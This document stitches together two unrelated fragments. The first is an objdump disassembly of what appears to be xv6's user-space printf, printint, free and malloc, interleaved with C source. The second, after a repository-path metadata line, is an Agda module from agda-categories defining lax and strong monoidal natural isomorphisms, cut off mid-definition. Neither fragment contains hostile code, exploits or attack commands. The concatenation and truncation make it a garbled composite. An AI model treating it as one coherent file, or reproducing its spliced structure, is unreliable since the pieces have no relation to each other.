ca4: f7 f1 div %ecx
ca6: 8d 7e 01 lea 0x1(%esi),%edi
ca9: 0f b6 92 a0 12 00 00 movzbl 0x12a0(%edx),%edx
}while((x /= base) != 0);
cb0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
cb2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
cb5: 75 e9 jne ca0 <printint+0x30>
if(neg)
cb7: 8b 55 c4 mov -0x3c(%ebp),%edx
cba: 85 d2 test %edx,%edx
cbc: 74 08 je cc6 <printint+0x56>
buf[i++] = '-';
cbe: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
cc3: 8d 7e 02 lea 0x2(%esi),%edi
cc6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
cca: 8b 7d c0 mov -0x40(%ebp),%edi
ccd: 8d 76 00 lea 0x0(%esi),%esi
cd0: 0f b6 06 movzbl (%esi),%eax
cd3: 4e dec %esi
write(fd, &c, 1);
cd4: 89 5c 24 04 mov %ebx,0x4(%esp)
cd8: 89 3c 24 mov %edi,(%esp)
cdb: 88 45 d7 mov %al,-0x29(%ebp)
cde: b8 01 00 00 00 mov $0x1,%eax
ce3: 89 44 24 08 mov %eax,0x8(%esp)
ce7: e8 dc fe ff ff call bc8 <write>
while(--i >= 0)
cec: 39 de cmp %ebx,%esi
cee: 75 e0 jne cd0 <printint+0x60>
putc(fd, buf[i]);
}
cf0: 83 c4 4c add $0x4c,%esp
cf3: 5b pop %ebx
cf4: 5e pop %esi
cf5: 5f pop %edi
cf6: 5d pop %ebp
cf7: c3 ret
cf8: 90 nop
cf9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
d00: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
d07: eb 8d jmp c96 <printint+0x26>
d09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000d10 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
d10: 55 push %ebp
d11: 89 e5 mov %esp,%ebp
d13: 57 push %edi
d14: 56 push %esi
d15: 53 push %ebx
d16: 83 ec 3c sub $0x3c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
d19: 8b 75 0c mov 0xc(%ebp),%esi
d1c: 0f b6 1e movzbl (%esi),%ebx
d1f: 84 db test %bl,%bl
d21: 0f 84 d1 00 00 00 je df8 <printf+0xe8>
state = 0;
d27: 31 ff xor %edi,%edi
d29: 46 inc %esi
ap = (uint*)(void*)&fmt + 1;
d2a: 8d 45 10 lea 0x10(%ebp),%eax
write(fd, &c, 1);
d2d: 89 fa mov %edi,%edx
d2f: 8b 7d 08 mov 0x8(%ebp),%edi
ap = (uint*)(void*)&fmt + 1;
d32: 89 45 d0 mov %eax,-0x30(%ebp)
d35: eb 41 jmp d78 <printf+0x68>
d37: 89 f6 mov %esi,%esi
d39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
d40: 83 f8 25 cmp $0x25,%eax
d43: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
d46: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
d4b: 74 1e je d6b <printf+0x5b>
write(fd, &c, 1);
d4d: b8 01 00 00 00 mov $0x1,%eax
d52: 89 44 24 08 mov %eax,0x8(%esp)
d56: 8d 45 e2 lea -0x1e(%ebp),%eax
d59: 89 44 24 04 mov %eax,0x4(%esp)
d5d: 89 3c 24 mov %edi,(%esp)
d60: 88 5d e2 mov %bl,-0x1e(%ebp)
d63: e8 60 fe ff ff call bc8 <write>
d68: 8b 55 d4 mov -0x2c(%ebp),%edx
d6b: 46 inc %esi
for(i = 0; fmt[i]; i++){
d6c: 0f b6 5e ff movzbl -0x1(%esi),%ebx
d70: 84 db test %bl,%bl
d72: 0f 84 80 00 00 00 je df8 <printf+0xe8>
if(state == 0){
d78: 85 d2 test %edx,%edx
c = fmt[i] & 0xff;
d7a: 0f be cb movsbl %bl,%ecx
d7d: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
d80: 74 be je d40 <printf+0x30>
} else {
putc(fd, c);
}
} else if(state == '%'){
d82: 83 fa 25 cmp $0x25,%edx
d85: 75 e4 jne d6b <printf+0x5b>
if(c == 'd'){
d87: 83 f8 64 cmp $0x64,%eax
d8a: 0f 84 f0 00 00 00 je e80 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
d90: 81 e1 f7 00 00 00 and $0xf7,%ecx
d96: 83 f9 70 cmp $0x70,%ecx
d99: 74 65 je e00 <printf+0xf0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
d9b: 83 f8 73 cmp $0x73,%eax
d9e: 0f 84 8c 00 00 00 je e30 <printf+0x120>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
da4: 83 f8 63 cmp $0x63,%eax
da7: 0f 84 13 01 00 00 je ec0 <printf+0x1b0>
putc(fd, *ap);
ap++;
} else if(c == '%'){
dad: 83 f8 25 cmp $0x25,%eax
db0: 0f 84 e2 00 00 00 je e98 <printf+0x188>
write(fd, &c, 1);
db6: b8 01 00 00 00 mov $0x1,%eax
dbb: 46 inc %esi
dbc: 89 44 24 08 mov %eax,0x8(%esp)
dc0: 8d 45 e7 lea -0x19(%ebp),%eax
dc3: 89 44 24 04 mov %eax,0x4(%esp)
dc7: 89 3c 24 mov %edi,(%esp)
dca: c6 45 e7 25 movb $0x25,-0x19(%ebp)
dce: e8 f5 fd ff ff call bc8 <write>
dd3: ba 01 00 00 00 mov $0x1,%edx
dd8: 8d 45 e6 lea -0x1a(%ebp),%eax
ddb: 89 54 24 08 mov %edx,0x8(%esp)
ddf: 89 44 24 04 mov %eax,0x4(%esp)
de3: 89 3c 24 mov %edi,(%esp)
de6: 88 5d e6 mov %bl,-0x1a(%ebp)
de9: e8 da fd ff ff call bc8 <write>
for(i = 0; fmt[i]; i++){
dee: 0f b6 5e ff movzbl -0x1(%esi),%ebx
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
df2: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
df4: 84 db test %bl,%bl
df6: 75 80 jne d78 <printf+0x68>
}
}
}
df8: 83 c4 3c add $0x3c,%esp
dfb: 5b pop %ebx
dfc: 5e pop %esi
dfd: 5f pop %edi
dfe: 5d pop %ebp
dff: c3 ret
printint(fd, *ap, 16, 0);
e00: c7 04 24 00 00 00 00 movl $0x0,(%esp)
e07: b9 10 00 00 00 mov $0x10,%ecx
e0c: 8b 5d d0 mov -0x30(%ebp),%ebx
e0f: 89 f8 mov %edi,%eax
e11: 8b 13 mov (%ebx),%edx
e13: e8 58 fe ff ff call c70 <printint>
ap++;
e18: 89 d8 mov %ebx,%eax
state = 0;
e1a: 31 d2 xor %edx,%edx
ap++;
e1c: 83 c0 04 add $0x4,%eax
e1f: 89 45 d0 mov %eax,-0x30(%ebp)
e22: e9 44 ff ff ff jmp d6b <printf+0x5b>
e27: 89 f6 mov %esi,%esi
e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
s = (char*)*ap;
e30: 8b 45 d0 mov -0x30(%ebp),%eax
e33: 8b 10 mov (%eax),%edx
ap++;
e35: 83 c0 04 add $0x4,%eax
e38: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
e3b: 85 d2 test %edx,%edx
e3d: 0f 84 aa 00 00 00 je eed <printf+0x1dd>
while(*s != 0){
e43: 0f b6 02 movzbl (%edx),%eax
s = (char*)*ap;
e46: 89 d3 mov %edx,%ebx
while(*s != 0){
e48: 84 c0 test %al,%al
e4a: 74 27 je e73 <printf+0x163>
e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
e50: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
e53: b8 01 00 00 00 mov $0x1,%eax
s++;
e58: 43 inc %ebx
write(fd, &c, 1);
e59: 89 44 24 08 mov %eax,0x8(%esp)
e5d: 8d 45 e3 lea -0x1d(%ebp),%eax
e60: 89 44 24 04 mov %eax,0x4(%esp)
e64: 89 3c 24 mov %edi,(%esp)
e67: e8 5c fd ff ff call bc8 <write>
while(*s != 0){
e6c: 0f b6 03 movzbl (%ebx),%eax
e6f: 84 c0 test %al,%al
e71: 75 dd jne e50 <printf+0x140>
state = 0;
e73: 31 d2 xor %edx,%edx
e75: e9 f1 fe ff ff jmp d6b <printf+0x5b>
e7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 10, 1);
e80: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e87: b9 0a 00 00 00 mov $0xa,%ecx
e8c: e9 7b ff ff ff jmp e0c <printf+0xfc>
e91: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
write(fd, &c, 1);
e98: b9 01 00 00 00 mov $0x1,%ecx
e9d: 8d 45 e5 lea -0x1b(%ebp),%eax
ea0: 89 4c 24 08 mov %ecx,0x8(%esp)
ea4: 89 44 24 04 mov %eax,0x4(%esp)
ea8: 89 3c 24 mov %edi,(%esp)
eab: 88 5d e5 mov %bl,-0x1b(%ebp)
eae: e8 15 fd ff ff call bc8 <write>
state = 0;
eb3: 31 d2 xor %edx,%edx
eb5: e9 b1 fe ff ff jmp d6b <printf+0x5b>
eba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
putc(fd, *ap);
ec0: 8b 5d d0 mov -0x30(%ebp),%ebx
ec3: 8b 03 mov (%ebx),%eax
ap++;
ec5: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
ec8: 89 3c 24 mov %edi,(%esp)
putc(fd, *ap);
ecb: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
ece: b8 01 00 00 00 mov $0x1,%eax
ed3: 89 44 24 08 mov %eax,0x8(%esp)
ed7: 8d 45 e4 lea -0x1c(%ebp),%eax
eda: 89 44 24 04 mov %eax,0x4(%esp)
ede: e8 e5 fc ff ff call bc8 <write>
state = 0;
ee3: 31 d2 xor %edx,%edx
ap++;
ee5: 89 5d d0 mov %ebx,-0x30(%ebp)
ee8: e9 7e fe ff ff jmp d6b <printf+0x5b>
s = "(null)";
eed: bb 98 12 00 00 mov $0x1298,%ebx
while(*s != 0){
ef2: b0 28 mov $0x28,%al
ef4: e9 57 ff ff ff jmp e50 <printf+0x140>
ef9: 66 90 xchg %ax,%ax
efb: 66 90 xchg %ax,%ax
efd: 66 90 xchg %ax,%ax
eff: 90 nop
00000f00 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
f00: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
f01: a1 2c 18 00 00 mov 0x182c,%eax
{
f06: 89 e5 mov %esp,%ebp
f08: 57 push %edi
f09: 56 push %esi
f0a: 53 push %ebx
f0b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
f0e: 8d 4b f8 lea -0x8(%ebx),%ecx
f11: eb 0d jmp f20 <free+0x20>
f13: 90 nop
f14: 90 nop
f15: 90 nop
f16: 90 nop
f17: 90 nop
f18: 90 nop
f19: 90 nop
f1a: 90 nop
f1b: 90 nop
f1c: 90 nop
f1d: 90 nop
f1e: 90 nop
f1f: 90 nop
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
f20: 39 c8 cmp %ecx,%eax
f22: 8b 10 mov (%eax),%edx
f24: 73 32 jae f58 <free+0x58>
f26: 39 d1 cmp %edx,%ecx
f28: 72 04 jb f2e <free+0x2e>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
f2a: 39 d0 cmp %edx,%eax
f2c: 72 32 jb f60 <free+0x60>
break;
if(bp + bp->s.size == p->s.ptr){
f2e: 8b 73 fc mov -0x4(%ebx),%esi
f31: 8d 3c f1 lea (%ecx,%esi,8),%edi
f34: 39 fa cmp %edi,%edx
f36: 74 30 je f68 <free+0x68>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
f38: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
f3b: 8b 50 04 mov 0x4(%eax),%edx
f3e: 8d 34 d0 lea (%eax,%edx,8),%esi
f41: 39 f1 cmp %esi,%ecx
f43: 74 3c je f81 <free+0x81>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
f45: 89 08 mov %ecx,(%eax)
freep = p;
}
f47: 5b pop %ebx
freep = p;
f48: a3 2c 18 00 00 mov %eax,0x182c
}
f4d: 5e pop %esi
f4e: 5f pop %edi
f4f: 5d pop %ebp
f50: c3 ret
f51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
f58: 39 d0 cmp %edx,%eax
f5a: 72 04 jb f60 <free+0x60>
f5c: 39 d1 cmp %edx,%ecx
f5e: 72 ce jb f2e <free+0x2e>
{
f60: 89 d0 mov %edx,%eax
f62: eb bc jmp f20 <free+0x20>
f64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
f68: 8b 7a 04 mov 0x4(%edx),%edi
f6b: 01 fe add %edi,%esi
f6d: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
f70: 8b 10 mov (%eax),%edx
f72: 8b 12 mov (%edx),%edx
f74: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
f77: 8b 50 04 mov 0x4(%eax),%edx
f7a: 8d 34 d0 lea (%eax,%edx,8),%esi
f7d: 39 f1 cmp %esi,%ecx
f7f: 75 c4 jne f45 <free+0x45>
p->s.size += bp->s.size;
f81: 8b 4b fc mov -0x4(%ebx),%ecx
freep = p;
f84: a3 2c 18 00 00 mov %eax,0x182c
p->s.size += bp->s.size;
f89: 01 ca add %ecx,%edx
f8b: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
f8e: 8b 53 f8 mov -0x8(%ebx),%edx
f91: 89 10 mov %edx,(%eax)
}
f93: 5b pop %ebx
f94: 5e pop %esi
f95: 5f pop %edi
f96: 5d pop %ebp
f97: c3 ret
f98: 90 nop
f99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000fa0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
fa0: 55 push %ebp
fa1: 89 e5 mov %esp,%ebp
fa3: 57 push %edi
fa4: 56 push %esi
fa5: 53 push %ebx
fa6: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
fa9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
fac: 8b 15 2c 18 00 00 mov 0x182c,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
fb2: 8d 78 07 lea 0x7(%eax),%edi
fb5: c1 ef 03 shr $0x3,%edi
fb8: 47 inc %edi
if((prevp = freep) == 0){
fb9: 85 d2 test %edx,%edx
fbb: 0f 84 8f 00 00 00 je 1050 <malloc+0xb0>
fc1: 8b 02 mov (%edx),%eax
fc3: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
fc6: 39 cf cmp %ecx,%edi
fc8: 76 66 jbe 1030 <malloc+0x90>
fca: 81 ff 00 10 00 00 cmp $0x1000,%edi
fd0: bb 00 10 00 00 mov $0x1000,%ebx
fd5: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
fd8: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
fdf: eb 10 jmp ff1 <malloc+0x51>
fe1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
fe8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
fea: 8b 48 04 mov 0x4(%eax),%ecx
fed: 39 f9 cmp %edi,%ecx
fef: 73 3f jae 1030 <malloc+0x90>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
ff1: 39 05 2c 18 00 00 cmp %eax,0x182c
ff7: 89 c2 mov %eax,%edx
ff9: 75 ed jne fe8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
ffb: 89 34 24 mov %esi,(%esp)
ffe: e8 2d fc ff ff call c30 <sbrk>
if(p == (char*)-1)
1003: 83 f8 ff cmp $0xffffffff,%eax
1006: 74 18 je 1020 <malloc+0x80>
hp->s.size = nu;
1008: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
100b: 83 c0 08 add $0x8,%eax
100e: 89 04 24 mov %eax,(%esp)
1011: e8 ea fe ff ff call f00 <free>
return freep;
1016: 8b 15 2c 18 00 00 mov 0x182c,%edx
if((p = morecore(nunits)) == 0)
101c: 85 d2 test %edx,%edx
101e: 75 c8 jne fe8 <malloc+0x48>
return 0;
}
}
1020: 83 c4 1c add $0x1c,%esp
return 0;
1023: 31 c0 xor %eax,%eax
}
1025: 5b pop %ebx
1026: 5e pop %esi
1027: 5f pop %edi
1028: 5d pop %ebp
1029: c3 ret
102a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
1030: 39 cf cmp %ecx,%edi
1032: 74 4c je 1080 <malloc+0xe0>
p->s.size -= nunits;
1034: 29 f9 sub %edi,%ecx
1036: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
1039: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
103c: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
103f: 89 15 2c 18 00 00 mov %edx,0x182c
}
1045: 83 c4 1c add $0x1c,%esp
return (void*)(p + 1);
1048: 83 c0 08 add $0x8,%eax
}
104b: 5b pop %ebx
104c: 5e pop %esi
104d: 5f pop %edi
104e: 5d pop %ebp
104f: c3 ret
base.s.ptr = freep = prevp = &base;
1050: b8 30 18 00 00 mov $0x1830,%eax
1055: ba 30 18 00 00 mov $0x1830,%edx
base.s.size = 0;
105a: 31 c9 xor %ecx,%ecx
base.s.ptr = freep = prevp = &base;
105c: a3 2c 18 00 00 mov %eax,0x182c
base.s.size = 0;
1061: b8 30 18 00 00 mov $0x1830,%eax
base.s.ptr = freep = prevp = &base;
1066: 89 15 30 18 00 00 mov %edx,0x1830
base.s.size = 0;
106c: 89 0d 34 18 00 00 mov %ecx,0x1834
1072: e9 53 ff ff ff jmp fca <malloc+0x2a>
1077: 89 f6 mov %esi,%esi
1079: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
prevp->s.ptr = p->s.ptr;
1080: 8b 08 mov (%eax),%ecx
1082: 89 0a mov %ecx,(%edx)
1084: eb b9 jmp 103f <malloc+0x9f>
|
src/Categories/NaturalTransformation/NaturalIsomorphism/Monoidal.agda | iblech/agda-categories | 1 | 11339 | {-# OPTIONS --without-K --safe #-}
open import Categories.Category.Monoidal
open import Categories.Functor.Monoidal
module Categories.NaturalTransformation.NaturalIsomorphism.Monoidal
where
open import Level
open import Data.Product using (_,_)
open import Relation.Binary using (IsEquivalence; Setoid)
open import Categories.Category.Product
import Categories.Category.Monoidal.Reasoning as MonoidalReasoning
import Categories.Category.Monoidal.Utilities as MonoidalUtilities
open import Categories.Functor hiding (id)
open import Categories.Functor.Monoidal.Properties using () renaming
( idF-Monoidal to idFˡ ; idF-StrongMonoidal to idFˢ
; ∘-Monoidal to _∘Fˡ_ ; ∘-StrongMonoidal to _∘Fˢ_
)
import Categories.Morphism.Reasoning as MorphismReasoning
import Categories.NaturalTransformation.Monoidal as NT
open import Categories.NaturalTransformation.NaturalIsomorphism as NI
using (NaturalIsomorphism)
open NaturalIsomorphism using (F⇒G; F⇐G)
-- Monoidal natural isomorphisms between lax monoidal functors.
module Lax where
open NT.Lax hiding (id)
module _ {o ℓ e o′ ℓ′ e′}
{C : MonoidalCategory o ℓ e} {D : MonoidalCategory o′ ℓ′ e′}
(F G : MonoidalFunctor C D) where
private
module C = MonoidalCategory C
module D = MonoidalCategory D
module F = MonoidalFunctor F renaming (F to U)
module G = MonoidalFunctor G renaming (F to U)
IsMonoidalNaturalIsomorphism : NaturalIsomorphism F.U G.U → Set (o ⊔ ℓ′ ⊔ e′)
IsMonoidalNaturalIsomorphism α = IsMonoidalNaturalTransformation F G (F⇒G α)
record MonoidalNaturalIsomorphism : Set (o ⊔ ℓ ⊔ ℓ′ ⊔ e′) where
field
U : NaturalIsomorphism F.U G.U
F⇒G-isMonoidal : IsMonoidalNaturalIsomorphism U
open NaturalIsomorphism U public
open IsMonoidalNaturalTransformation F⇒G-isMonoidal public
open D using (module Equiv)
open MorphismReasoning D.U using (switch-fromtoˡ; conjugate-from)
open MonoidalUtilities D.monoidal using (_⊗ᵢ_)
F⇐G-isMonoidal : IsMonoidalNaturalTransformation G F (F⇐G U)
F⇐G-isMonoidal = record
{ ε-compat = Equiv.sym (switch-fromtoˡ FX≅GX ε-compat)
; ⊗-homo-compat =
conjugate-from (FX≅GX ⊗ᵢ FX≅GX) FX≅GX (Equiv.sym ⊗-homo-compat)
}
F⇒G-monoidal : MonoidalNaturalTransformation F G
F⇒G-monoidal = record { U = F⇒G U ; isMonoidal = F⇒G-isMonoidal }
F⇐G-monoidal : MonoidalNaturalTransformation G F
F⇐G-monoidal = record { U = F⇐G U ; isMonoidal = F⇐G-isMonoidal }
infix 4 _≃_
_≃_ = MonoidalNaturalIsomorphism
open MonoidalNaturalTransformation using (isMonoidal)
open MonoidalNaturalIsomorphism
-- Identity and compositions
module _ {o ℓ e o′ ℓ′ e′}
{C : MonoidalCategory o ℓ e} {D : MonoidalCategory o′ ℓ′ e′} where
infixr 9 _ⓘᵥ_
id : {F : MonoidalFunctor C D} → F ≃ F
id = record { U = NI.refl ; F⇒G-isMonoidal = isMonoidal NT.Lax.id }
_ⓘᵥ_ : {F G H : MonoidalFunctor C D} → G ≃ H → F ≃ G → F ≃ H
_ⓘᵥ_ α β = record
{ U = U α NI.ⓘᵥ U β
; F⇒G-isMonoidal = isMonoidal (F⇒G-monoidal α ∘ᵥ F⇒G-monoidal β)
}
isEquivalence : IsEquivalence _≃_
isEquivalence = record
{ refl = id
; sym = λ α → record
{ U = NI.sym (U α)
; F⇒G-isMonoidal = F⇐G-isMonoidal α
}
; trans = λ α β → β ⓘᵥ α
}
module _ {o ℓ e o′ ℓ′ e′ o″ ℓ″ e″}
{C : MonoidalCategory o ℓ e} {D : MonoidalCategory o′ ℓ′ e′}
{E : MonoidalCategory o″ ℓ″ e″} where
infixr 9 _ⓘₕ_ _ⓘˡ_ _ⓘʳ_
_ⓘₕ_ : {F G : MonoidalFunctor C D} {H I : MonoidalFunctor D E} →
H ≃ I → F ≃ G → (H ∘Fˡ F) ≃ (I ∘Fˡ G)
_ⓘₕ_ α β = record
{ U = U α NI.ⓘₕ U β
; F⇒G-isMonoidal = isMonoidal (F⇒G-monoidal α ∘ₕ F⇒G-monoidal β)
}
_ⓘˡ_ : {F G : MonoidalFunctor C D}
(H : MonoidalFunctor D E) → F ≃ G → (H ∘Fˡ F) ≃ (H ∘Fˡ G)
H ⓘˡ α = id {F = H} ⓘₕ α
_ⓘʳ_ : {G H : MonoidalFunctor D E} →
G ≃ H → (F : MonoidalFunctor C D) → (G ∘Fˡ F) ≃ (H ∘Fˡ F)
α ⓘʳ F = α ⓘₕ id {F = F}
-- Left and right unitors.
module _ {o ℓ e o′ ℓ′ e′}
{C : MonoidalCategory o ℓ e} {D : MonoidalCategory o′ ℓ′ e′}
{F : MonoidalFunctor C D} where
private
module C = MonoidalCategory C
module D = MonoidalCategory D
module F = MonoidalFunctor F
open D hiding (U; id; unitorˡ; unitorʳ)
open MorphismReasoning D.U using (id-comm-sym)
open MonoidalReasoning D.monoidal
unitorˡ : idFˡ D ∘Fˡ F ≃ F
unitorˡ = record
{ U = NI.unitorˡ
; F⇒G-isMonoidal = record
{ ε-compat = identityˡ ○ identityʳ
; ⊗-homo-compat = λ {X Y} → begin
D.id D.∘ F.⊗-homo.η (X , Y) D.∘ D.id ≈⟨ identityˡ ⟩
F.⊗-homo.η (X , Y) D.∘ D.id ≈˘⟨ refl⟩∘⟨ ⊗.identity ⟩
F.⊗-homo.η (X , Y) D.∘ D.id ⊗₁ D.id ∎
}
}
unitorʳ : F ∘Fˡ idFˡ C ≃ F
unitorʳ = record
{ U = NI.unitorʳ
; F⇒G-isMonoidal = record
{ ε-compat = begin
D.id ∘ F.₁ C.id ∘ F.ε ≈⟨ identityˡ ⟩
F.₁ C.id ∘ F.ε ≈⟨ F.identity ⟩∘⟨refl ⟩
D.id ∘ F.ε ≈⟨ identityˡ ⟩
F.ε ∎
; ⊗-homo-compat = λ {X Y} → begin
D.id D.∘ F.₁ C.id ∘ F.⊗-homo.η (X , Y) ≈⟨ identityˡ ⟩
F.₁ C.id ∘ F.⊗-homo.η (X , Y) ≈⟨ F.identity ⟩∘⟨refl ⟩
D.id ∘ F.⊗-homo.η (X , Y) ≈⟨ id-comm-sym ⟩
F.⊗-homo.η (X , Y) D.∘ D.id ≈˘⟨ refl⟩∘⟨ ⊗.identity ⟩
F.⊗-homo.η (X , Y) D.∘ D.id ⊗₁ D.id ∎
}
}
-- Associator.
module _ {o ℓ e o′ ℓ′ e′ o″ ℓ″ e″ o‴ ℓ‴ e‴}
{B : MonoidalCategory o ℓ e} {C : MonoidalCategory o′ ℓ′ e′}
{D : MonoidalCategory o″ ℓ″ e″} {E : MonoidalCategory o‴ ℓ‴ e‴}
{F : MonoidalFunctor B C} {G : MonoidalFunctor C D}
{H : MonoidalFunctor D E} where
private
module D = MonoidalCategory D
module E = MonoidalCategory E
module F = MonoidalFunctor F
module G = MonoidalFunctor G
module H = MonoidalFunctor H
open E hiding (U; id; associator)
open MorphismReasoning E.U
open MonoidalReasoning E.monoidal
associator : (H ∘Fˡ G) ∘Fˡ F ≃ H ∘Fˡ (G ∘Fˡ F)
associator = record
{ U = NI.associator (F.F) (G.F) (H.F)
; F⇒G-isMonoidal = record
{ ε-compat = begin
E.id ∘ H.₁ (G.₁ F.ε) ∘ H.₁ G.ε ∘ H.ε ≈⟨ identityˡ ⟩
H.₁ (G.₁ F.ε) ∘ H.₁ G.ε ∘ H.ε ≈˘⟨ pushˡ H.homomorphism ⟩
H.₁ (G.₁ F.ε D.∘ G.ε) ∘ H.ε ∎
; ⊗-homo-compat = λ {X Y} → begin
E.id ∘ H.₁ (G.₁ (F.⊗-homo.η (X , Y))) ∘
H.₁ (G.⊗-homo.η (F.F₀ X , F.F₀ Y)) ∘
H.⊗-homo.η (G.F₀ (F.F₀ X) , G.F₀ (F.F₀ Y))
≈⟨ identityˡ ⟩
H.₁ (G.₁ (F.⊗-homo.η (X , Y))) ∘
H.₁ (G.⊗-homo.η (F.F₀ X , F.F₀ Y)) ∘
H.⊗-homo.η (G.F₀ (F.F₀ X) , G.F₀ (F.F₀ Y))
≈˘⟨ pushˡ H.homomorphism ⟩
H.₁ (G.₁ (F.⊗-homo.η (X , Y)) D.∘ G.⊗-homo.η (F.F₀ X , F.F₀ Y)) ∘
H.⊗-homo.η (G.F₀ (F.F₀ X) , G.F₀ (F.F₀ Y))
≈˘⟨ identityʳ ⟩
(H.₁ (G.₁ (F.⊗-homo.η (X , Y)) D.∘ G.⊗-homo.η (F.F₀ X , F.F₀ Y)) ∘
H.⊗-homo.η (G.F₀ (F.F₀ X) , G.F₀ (F.F₀ Y))) ∘ E.id
≈˘⟨ refl⟩∘⟨ ⊗.identity ⟩
(H.₁ (G.₁ (F.⊗-homo.η (X , Y)) D.∘ G.⊗-homo.η (F.F₀ X , F.F₀ Y)) ∘
H.⊗-homo.η (G.F₀ (F.F₀ X) , G.F₀ (F.F₀ Y))) ∘
E.id ⊗₁ E.id
∎
}
}
-- Monoidal natural isomorphisms between strong monoidal functors.
module Strong where
open NT.Strong using (IsMonoidalNaturalTransformation)
open StrongMonoidalFunctor renaming (F to UF; monoidalFunctor to laxF)
module _ {o ℓ e o′ ℓ′ e′}
{C : MonoidalCategory o ℓ e} {D : MonoidalCategory o′ ℓ′ e′}
(F G : StrongMonoidalFunctor C D) where
IsMonoidalNaturalIsomorphism : NaturalIsomorphism (UF F) (UF G) →
Set (o ⊔ ℓ′ ⊔ e′)
IsMonoidalNaturalIsomorphism α = IsMonoidalNaturalTransformation F G (F⇒G α)
-- NOTE. This record contains the same data as the lax version,
-- but the type arguments are different. This helps type
-- inference by providing the right constraints.
record MonoidalNaturalIsomorphism : Set (o ⊔ ℓ ⊔ ℓ′ ⊔ e′) where
field
U : NaturalIsomorphism (UF F) (UF G)
F⇒G-isMonoidal : IsMonoidalNaturalIsomorphism U
laxNI : Lax.MonoidalNaturalIsomorphism (laxF F) (laxF G)
laxNI = record { U = U ; F⇒G-isMonoidal = F⇒G-isMonoidal }
open Lax.MonoidalNaturalIsomorphism laxNI public
hiding (U; F⇒G-isMonoidal)
infix 4 _≃_
_≃_ = MonoidalNaturalIsomorphism
open MonoidalNaturalIsomorphism
module _ {o ℓ e o′ ℓ′ e′}
{C : MonoidalCategory o ℓ e} {D : MonoidalCategory o′ ℓ′ e′} where
